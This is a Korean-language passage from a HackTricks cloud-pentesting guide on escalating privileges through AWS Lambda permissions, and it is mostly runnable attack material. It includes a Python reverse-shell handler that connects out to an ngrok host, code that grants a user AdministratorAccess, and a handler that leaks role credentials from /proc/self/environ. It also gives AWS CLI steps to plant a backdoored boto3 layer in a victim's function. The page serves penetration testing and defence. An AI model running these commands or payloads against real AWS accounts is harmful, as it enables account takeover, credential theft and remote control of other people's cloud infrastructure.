AWS - Lambda Privesc

AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

lambda

Lambda에 대한 자세한 정보:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, 그리고 lambda:InvokeFunction 권한을 가진 사용자는 권한을 상승시킬 수 있습니다. 그들은 새로운 Lambda 함수를 생성하고 기존 IAM 역할을 할당하여 해당 역할과 관련된 권한을 함수에 부여할 수 있습니다. 사용자는 이후 이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: 역쉘). 함수가 설정되면 사용자는 Lambda 함수를 트리거하고 의도한 작업을 수행할 수 있습니다. 이를 통해 사용자는 Lambda 함수를 통해 간접적으로 작업을 수행하며, 해당 함수와 관련된 IAM 역할에 부여된 액세스 수준으로 작동할 수 있습니다.\

공격자는 이를 악용하여 역쉘을 획들하고 토큰을 탈취할 수 있습니다:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

당신은 람다 함수 자체에서 람다 역할 권한을 남용할 수도 있습니다. 만약 람다 역할이 충분한 권한을 갖고 있다면, 그것을 사용하여 관리자 권한을 부여할 수 있습니다:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

람다의 역할 자격 증명을 외부 연결 없이 누출하는 것도 가능합니다. 이는 내부 작업에 사용되는 네트워크 격리된 람다에 유용할 수 있습니다. 알 수 없는 보안 그룹이 역순 쉘을 필터링하는 경우, 이 코드 조각을 사용하여 람다의 출력으로 자격 증명을 직접 누출할 수 있습니다.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

잠재적인 영향: 지정된 임의의 람다 서비스 역할로의 직접 권한 상승.

흥미로워 보일지라도 **lambda:InvokeAsync**은 aws lambda invoke-async를 실행하는 것을 허용하지 않습니다. 이를 실행하려면 lambda:InvokeFunction도 필요합니다.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

이전 시나리오와 마찬가지로, lambda:AddPermission 권한이 있다면 lambda:InvokeFunction 권한을 스스로 부여할 수 있습니다.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

잠재적 영향: 지정된 임의의 람다 서비스 역할로의 직접 권한 상승.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, 그리고 lambda:CreateEventSourceMapping 권한을 가진 사용자(그리고 잠재적으로 dynamodb:PutItem 그리고 dynamodb:CreateTable)는 lambda:InvokeFunction 없이도 간접적으로 권한을 상승할 수 있습니다. 그들은 악의적인 코드를 포함한 람다 함수를 생성하고 기존 IAM 역할을 할당할 수 있습니다.

람다를 직접 호출하는 대신, 사용자는 DynamoDB 테이블을 설정하거나 기존 테이블을 활용하여 해당 테이블을 람다와 이벤트 소스 매핑을 통해 연결합니다. 이 설정은 람다 함수가 테이블에 새로운 항목이 입력될 때 자동으로 트리거되도록 보장하며, 이는 사용자의 작업이나 다른 프로세스에 의해 간접적으로 람다 함수를 호출하고 전달된 IAM 역할의 권한으로 코드를 실행합니다.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

만약 DynamoDB가 이미 AWS 환경에서 활성화되어 있다면, 사용자는 람다 함수를 위해 이벤트 소스 매핑을 설정하기만 하면 됩니다. 그러나 DynamoDB가 사용되고 있지 않다면, 사용자는 스트리밍이 활성화된 새 테이블을 생성해야 합니다:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

지금은 이벤트 소스 매핑을 생성하여 Lambda 함수를 DynamoDB 테이블에 연결할 수 있습니다:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda 함수가 DynamoDB 스트림에 연결되어 있으면, 공격자는 DynamoDB 스트림을 활성화시킴으로써 Lambda를 간접적으로 트리거할 수 있습니다. 이는 DynamoDB 테이블에 항목을 삽입함으로써 수행할 수 있습니다:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

잠재적 영향: 지정된 람다 서비스 역할로의 직접적인 권한 상승.

lambda:AddPermission

이 권한을 가진 공격자는 자신에게 (또는 다른 사람에게) 어떤 권한이든 부여할 수 있습니다 (이는 리소스에 액세스 권한을 부여하기 위해 리소스 기반 정책을 생성함):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

잠재적인 영향: 코드 수정 및 실행 권한을 부여하여 람다 서비스 역할로 직접 권한 상승 가능.

lambda:AddLayerVersionPermission

이 권한을 가진 공격자는 자신 (또는 다른 사람)에게 lambda:GetLayerVersion 권한을 부여할 수 있습니다. 레이어에 액세스하여 취약점이나 민감한 정보를 탐지할 수 있습니다.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

잠재적인 영향: 민감한 정보에 대한 액세스 가능성.

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 권한을 가진 사용자는 IAM 역할에 연결된 기존 람다 함수의 코드를 수정할 수 있는 잠재력을 가지고 있습니다. 공격자는 IAM 자격 증명을 유출하기 위해 람다의 코드를 수정할 수 있습니다.

공격자는 함수를 직접 호출할 수 없을 수 있지만, 람다 함수가 이미 존재하고 작동 중인 경우 기존의 워크플로 또는 이벤트를 통해 수정된 코드의 실행을 간접적으로 용이하게 할 수 있습니다.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

잠재적 영향: 사용된 람다 서비스 역할로의 직접 권한 상승.

lambda:UpdateFunctionConfiguration

소개

Lambda Layers를 사용하면 코드를 람다 함수에 포함할 수 있지만 별도로 저장하여 함수 코드를 작게 유지하고 여러 함수가 코드를 공유할 수 있습니다.

람다 내부에서는 다음과 같은 함수를 사용하여 파이썬 코드가 로드된 경로를 확인할 수 있습니다:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

다음은 위치입니다:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

예를 들어, 라이브러리 boto3는 /var/runtime/boto3 (4번째 위치)에서 로드됩니다.

Exploitation

lambda:UpdateFunctionConfiguration 권한을 남용하여 람다 함수에 새 레이어를 추가할 수 있습니다. 임의의 코드를 실행하려면 이 레이어에 람다가 가져올 라이브러리가 포함되어 있어야 합니다. 람다의 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있습니다. 또한 람다가 이미 레이어를 사용하고 있을 수 있으며 해당 레이어를 다운로드하여 거기에 코드를 추가할 수도 있습니다.

예를 들어, 람다가 라이브러리 boto3를 사용하는 경우, 이는 라이브러리의 최신 버전을 포함하는 로컬 레이어를 생성합니다:

pip3 install -t ./lambda_layer boto3

당신은 ./lambda_layer/boto3/__init__.py를 열고 글로벌 코드에 백도어를 추가할 수 있습니다 (예: 자격 증명을 유출하거나 리버스 쉘을 획득하는 함수).

그런 다음, ./lambda_layer 디렉토리를 압축하고 새로운 람다 레이어를 자신의 계정에 업로드할 수 있습니다 (또는 피해자의 계정에 업로드할 수도 있지만, 이를 위한 권한이 없을 수 있습니다). 주의할 점은 라이브러리를 넣기 위해 파이썬 폴더를 만들어야 하며, /opt/python/boto3를 덮어쓰기 위해 라이브러리를 넣어야 합니다. 또한, 람다에서 사용되는 파이썬 버전과 호환되어야 하며, 자신의 계정에 업로드하는 경우 동일한 지역에 있어야 합니다:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

이제, 업로드된 람다 레이어를 어떤 계정에서든 접근 가능하게 만듭니다:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

그리고 피해자 람다 함수에 람다 레이어를 첨부하십시오:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

다음 단계는 가능하다면 함수를 직접 호출하거나 일반적인 방법으로 호출될 때까지 기다리는 것입니다. 이것이 더 안전한 방법입니다.

이 취약점을 악용하는 더 은밀한 방법은 다음에서 찾을 수 있습니다:

pageAWS - Lambda Layers Persistence

잠재적인 영향: 사용된 람다 서비스 역할로의 직접 권한 상승.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

이러한 권한을 가지고 함수를 생성하고 URL을 호출하여 실행할 수 있을지도 모릅니다... 하지만 저는 테스트할 방법을 찾지 못했으므로 가능하다면 알려주세요!

람다 MitM

일부 람다는 사용자로부터 매개변수로 민감한 정보를 받을 것입니다. 그 중 하나에서 RCE를 얻으면, 다른 사용자가 보내는 정보를 유출할 수 있습니다. 확인하려면 다음을 참고하세요:

pageAWS - Steal Lambda Requests

참고 자료

htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新